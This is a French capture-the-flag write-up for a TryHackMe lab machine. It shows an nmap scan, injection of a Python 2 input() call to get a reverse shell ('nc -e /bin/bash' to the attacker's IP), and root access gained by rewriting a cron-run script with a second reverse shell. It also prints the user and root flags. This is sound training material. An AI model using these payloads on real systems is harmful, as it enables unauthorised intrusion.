https://tryhackme.com/room/bsidesgtdevelpy
Reconnaissance
root@ip-10-10-47-150:~# nmap -sC -sV 10.10.22.11 -vv
Starting Nmap 7.60 ( https://nmap.org ) at 2022-12-22 20:50 GMT
NSE: Loaded 146 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 20:50
Completed NSE at 20:50, 0.00s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 20:50
Completed NSE at 20:50, 0.00s elapsed
Initiating ARP Ping Scan at 20:50
Scanning 10.10.22.11 [1 port]
Completed ARP Ping Scan at 20:50, 0.22s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 20:50
Completed Parallel DNS resolution of 1 host. at 20:50, 0.00s elapsed
Initiating SYN Stealth Scan at 20:50
Scanning ip-10-10-22-11.eu-west-1.compute.internal (10.10.22.11) [1000 ports]
Discovered open port 22/tcp on 10.10.22.11
Discovered open port 10000/tcp on 10.10.22.11
Completed SYN Stealth Scan at 20:50, 1.26s elapsed (1000 total ports)
Initiating Service scan at 20:50
Scanning 2 services on ip-10-10-22-11.eu-west-1.compute.internal (10.10.22.11)
Completed Service scan at 20:52, 101.26s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.22.11.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 20:52
Completed NSE at 20:52, 10.04s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 20:52
Completed NSE at 20:52, 1.02s elapsed
Nmap scan report for ip-10-10-22-11.eu-west-1.compute.internal (10.10.22.11)
Host is up, received arp-response (0.0013s latency).
Scanned at 2022-12-22 20:50:53 GMT for 114s
Not shown: 998 closed ports
Reason: 998 resets
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 78:c4:40:84:f4:42:13:8e:79:f8:6b:e4:6d:bf:d4:46 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDeAB1tAGCfeGkiBXodMGeCc6prI2xaWz/fNRhwusVEujBTQ1BdY3BqPHNf1JLGhqts1anfY9ydt0N1cdAEv3L16vH2cis+34jyek3d+TVp+oBLztNWY5Yfcv/3uRcy5yyZsKjMz+wyribpEFlbpvscrVYfI2Crtm5CgcaSwqDDtc1doeABJ9t3iSv+7MKBdWJ9N3xd/oTfI0fEOdIp8M568A1/CJEQINFPVu1txC/HTiY4jmVkNf6+JyJfFqshRMpFq2YmUi6GulwzWQONmbTyxqrZg2y+y2q1AuFeritRg9vvkBInW0x18FS8KLdy5ohoXgeoWsznpR1J/BzkNfap
| 256 25:9d:f3:29:a2:62:4b:24:f2:83:36:cf:a7:75:bb:66 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDGGFFv4aQm/+j6R2Vsg96zpBowtu0/pkUxksqjTqKhAFtHla6LE0BRJtSYgmm8+ItlKHjJX8DNYylnNDG+Ol/U=
| 256 e7:a0:07:b0:b9:cb:74:e9:d6:16:7d:7a:67:fe:c1:1d (EdDSA)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMbypBoQ33EbivAc05LqKzxLsJrTgXOrXG7qG/RoO30K
10000/tcp open snet-sensor-mgmt? syn-ack ttl 64
| fingerprint-strings:
| GenericLines:
| Private 0days
| Please enther number of exploits to send??: Traceback (most recent call last):
| File "./exploit.py", line 6, in <module>
| num_exploits = int(input(' Please enther number of exploits to send??: '))
| File "<string>", line 0
| SyntaxError: unexpected EOF while parsing
| GetRequest:
| Private 0days
| Please enther number of exploits to send??: Traceback (most recent call last):
| File "./exploit.py", line 6, in <module>
| num_exploits = int(input(' Please enther number of exploits to send??: '))
| File "<string>", line 1, in <module>
| NameError: name 'GET' is not defined
| HTTPOptions, RTSPRequest:
| Private 0days
| Please enther number of exploits to send??: Traceback (most recent call last):
| File "./exploit.py", line 6, in <module>
| num_exploits = int(input(' Please enther number of exploits to send??: '))
| File "<string>", line 1, in <module>
| NameError: name 'OPTIONS' is not defined
| NULL:
| Private 0days
|_ Please enther number of exploits to send??:
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port10000-TCP:V=7.60%I=7%D=12/22%Time=63A4C335%P=x86_64-pc-linux-gnu%r(
SF:NULL,48,"\r\n\x20\x20\x20\x20\x20\x20\x20\x20Private\x200days\r\n\r\n\x
SF:20Please\x20enther\x20number\x20of\x20exploits\x20to\x20send\?\?:\x20")
SF:%r(GetRequest,136,"\r\n\x20\x20\x20\x20\x20\x20\x20\x20Private\x200days
SF:\r\n\r\n\x20Please\x20enther\x20number\x20of\x20exploits\x20to\x20send\
SF:?\?:\x20Traceback\x20\(most\x20recent\x20call\x20last\):\r\n\x20\x20Fil
SF:e\x20\"\./exploit\.py\",\x20line\x206,\x20in\x20<module>\r\n\x20\x20\x2
SF:0\x20num_exploits\x20=\x20int\(input\('\x20Please\x20enther\x20number\x
SF:20of\x20exploits\x20to\x20send\?\?:\x20'\)\)\r\n\x20\x20File\x20\"<stri
SF:ng>\",\x20line\x201,\x20in\x20<module>\r\nNameError:\x20name\x20'GET'\x
SF:20is\x20not\x20defined\r\n")%r(HTTPOptions,13A,"\r\n\x20\x20\x20\x20\x2
SF:0\x20\x20\x20Private\x200days\r\n\r\n\x20Please\x20enther\x20number\x20
SF:of\x20exploits\x20to\x20send\?\?:\x20Traceback\x20\(most\x20recent\x20c
SF:all\x20last\):\r\n\x20\x20File\x20\"\./exploit\.py\",\x20line\x206,\x20
SF:in\x20<module>\r\n\x20\x20\x20\x20num_exploits\x20=\x20int\(input\('\x2
SF:0Please\x20enther\x20number\x20of\x20exploits\x20to\x20send\?\?:\x20'\)
SF:\)\r\n\x20\x20File\x20\"<string>\",\x20line\x201,\x20in\x20<module>\r\n
SF:NameError:\x20name\x20'OPTIONS'\x20is\x20not\x20defined\r\n")%r(RTSPReq
SF:uest,13A,"\r\n\x20\x20\x20\x20\x20\x20\x20\x20Private\x200days\r\n\r\n\
SF:x20Please\x20enther\x20number\x20of\x20exploits\x20to\x20send\?\?:\x20T
SF:raceback\x20\(most\x20recent\x20call\x20last\):\r\n\x20\x20File\x20\"\.
SF:/exploit\.py\",\x20line\x206,\x20in\x20<module>\r\n\x20\x20\x20\x20num_
SF:exploits\x20=\x20int\(input\('\x20Please\x20enther\x20number\x20of\x20e
SF:xploits\x20to\x20send\?\?:\x20'\)\)\r\n\x20\x20File\x20\"<string>\",\x2
SF:0line\x201,\x20in\x20<module>\r\nNameError:\x20name\x20'OPTIONS'\x20is\
SF:x20not\x20defined\r\n")%r(GenericLines,13B,"\r\n\x20\x20\x20\x20\x20\x2
SF:0\x20\x20Private\x200days\r\n\r\n\x20Please\x20enther\x20number\x20of\x
SF:20exploits\x20to\x20send\?\?:\x20Traceback\x20\(most\x20recent\x20call\
SF:x20last\):\r\n\x20\x20File\x20\"\./exploit\.py\",\x20line\x206,\x20in\x
SF:20<module>\r\n\x20\x20\x20\x20num_exploits\x20=\x20int\(input\('\x20Ple
SF:ase\x20enther\x20number\x20of\x20exploits\x20to\x20send\?\?:\x20'\)\)\r
SF:\n\x20\x20File\x20\"<string>\",\x20line\x200\r\n\x20\x20\x20\x20\r\n\x2
SF:0\x20\x20\x20\^\r\nSyntaxError:\x20unexpected\x20EOF\x20while\x20parsin
SF:g\r\n");
MAC Address: 02:B5:00:B7:03:73 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 20:52
Completed NSE at 20:52, 0.00s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 20:52
Completed NSE at 20:52, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 115.12 seconds
Raw packets sent: 1002 (44.072KB) | Rcvd: 1002 (40.076KB)
2 ports sont ouverts: 22 et 10000.
Essayons de nous connecter au port 10000 via le navigateur.
Il y a un programme sur ce port. Il s’agit d’un script python exploit.py
Essayons de nous connecter autrement sur ce port.
root@ip-10-10-47-150:~# telnet 10.10.22.11 10000
Trying 10.10.22.11...
Connected to 10.10.22.11.
Escape character is '^]'.
Private 0days
Please enther number of exploits to send??: 3
Exploit started, attacking target (tryhackme.com)...
Exploiting tryhackme internal network: beacons_seq=1 ttl=1337 time=0.041 ms
Exploiting tryhackme internal network: beacons_seq=2 ttl=1337 time=0.00 ms
Exploiting tryhackme internal network: beacons_seq=3 ttl=1337 time=0.064 ms
Connection closed by foreign host.
Un script python nous demande de rentrer un chiffre. Le script va effectuer un nombre de ping égal à ce chiffre.
En python, lorsqu’un prompt est demandé, le langage utilise la fonction input()
On va essayer d’injecter un reverse shell grâce à cette fonction.
Voir https://medium.com/swlh/hacking-python-applications-5d4cd541b3f1
Voir https://www.geeksforgeeks.org/vulnerability-input-function-python-2-x/
echo "__import__('os').system('nc -e /bin/bash 10.10.47.150 4444')" | nc 10.10.22.11 10000
En parallèle, on lance un listener et on génère un véritable shell.
root@ip-10-10-47-150:~# rlwrap nc -nlvp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from 10.10.22.11 34044 received!
SHELL=/bin/bash script -q /dev/null
king@ubuntu:~$
Il ne nous reste plus qu’à récupérer le flag utilisateur.
king@ubuntu:~$ ls -lah
ls -lah
total 324K
drwxr-xr-x 4 king king 4.0K Aug 27 2019 .
drwxr-xr-x 3 root root 4.0K Aug 25 2019 ..
-rw------- 1 root root 2.9K Aug 27 2019 .bash_history
-rw-r--r-- 1 king king 220 Aug 25 2019 .bash_logout
-rw-r--r-- 1 king king 3.7K Aug 25 2019 .bashrc
drwx------ 2 king king 4.0K Aug 25 2019 .cache
-rwxrwxrwx 1 king king 266K Aug 27 2019 credentials.png
-rwxrwxrwx 1 king king 408 Aug 25 2019 exploit.py
drwxrwxr-x 2 king king 4.0K Aug 25 2019 .nano
-rw-rw-r-- 1 king king 5 Dec 22 13:10 .pid
-rw-r--r-- 1 king king 655 Aug 25 2019 .profile
-rw-r--r-- 1 root root 32 Aug 25 2019 root.sh
-rw-rw-r-- 1 king king 139 Aug 25 2019 run.sh
-rw-r--r-- 1 king king 0 Aug 25 2019 .sudo_as_admin_successful
-rw-rw-r-- 1 king king 33 Aug 27 2019 user.txt
-rw-r--r-- 1 root root 183 Aug 25 2019 .wget-hsts
king@ubuntu:~$ cat user.txt
cat user.txt
cf85ff769cfaaa721758949bf870b019
Nous n’avons pas le mot de passe de l’utilisateur king donc on ne pourra pas utiliser la commande sudo -l pour tenter de voir les commandes avec privilèges.
Le passage en mode root se fera grâce au fichier crontab.
king@ubuntu:~$ cat /etc/crontab
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * * king cd /home/king/ && bash run.sh
* * * * * root cd /home/king/ && bash root.sh
* * * * * root cd /root/company && bash run.sh
3 tâches sont exécutées chaque minute dont un fichier root.sh
Les droits sont en 644 et le contenu du fichier est le suivant:
king@ubuntu:~$ ls -lah /home/king/
ls -lah /home/king/
total 324K
drwxr-xr-x 4 king king 4.0K Aug 27 2019 .
drwxr-xr-x 3 root root 4.0K Aug 25 2019 ..
-rw------- 1 root root 2.9K Aug 27 2019 .bash_history
-rw-r--r-- 1 king king 220 Aug 25 2019 .bash_logout
-rw-r--r-- 1 king king 3.7K Aug 25 2019 .bashrc
drwx------ 2 king king 4.0K Aug 25 2019 .cache
-rwxrwxrwx 1 king king 266K Aug 27 2019 credentials.png
-rwxrwxrwx 1 king king 408 Aug 25 2019 exploit.py
drwxrwxr-x 2 king king 4.0K Aug 25 2019 .nano
-rw-rw-r-- 1 king king 5 Dec 22 13:13 .pid
-rw-r--r-- 1 king king 655 Aug 25 2019 .profile
-rw-r--r-- 1 root root 32 Aug 25 2019 root.sh
-rw-rw-r-- 1 king king 139 Aug 25 2019 run.sh
-rw-r--r-- 1 king king 0 Aug 25 2019 .sudo_as_admin_successful
-rw-rw-r-- 1 king king 33 Aug 27 2019 user.txt
-rw-r--r-- 1 root root 183 Aug 25 2019 .wget-hsts
king@ubuntu:~$ cat /home/king/root.sh
cat /home/king/root.sh
python /root/company/media/*.py
La faille est celle-ci. Même si le fichier est exécuté par root, le fichier est dans le répertoire /home. Nous n’avons pas d’accès direct. Par contre, nous allons le supprimer et le recréer.
printf '#!/bin/bash\nnc -e /bin/bash 10.10.47.150 1234' > root.sh
On ajoute les droits d’exécution sur ce fichier.
chmod +x root.sh
Puis sur notre machine, on lance un autre reverse shell.
rlwrap nc -nlvp 1234
Et on attend que le script s’exécute…
root@ip-10-10-47-150:~# rlwrap nc -nlvp 1234
Listening on [0.0.0.0] (family 0, port 1234)
Connection from 10.10.22.11 43504 received!
whoami
root
pwd
/home/king
SHELL=/bin/bash script -q /dev/null
root@ubuntu:/home/king#
On a généré le shell de la même façon que pour le premier reverse shell, et nous sommes bien l’utilisateur root.
Il ne reste plus qu’à récupérer le flag root.
root@ubuntu:/home/king# cat /root/root.txt
cat /root/root.txt
9c37646777a53910a347f387dce025ec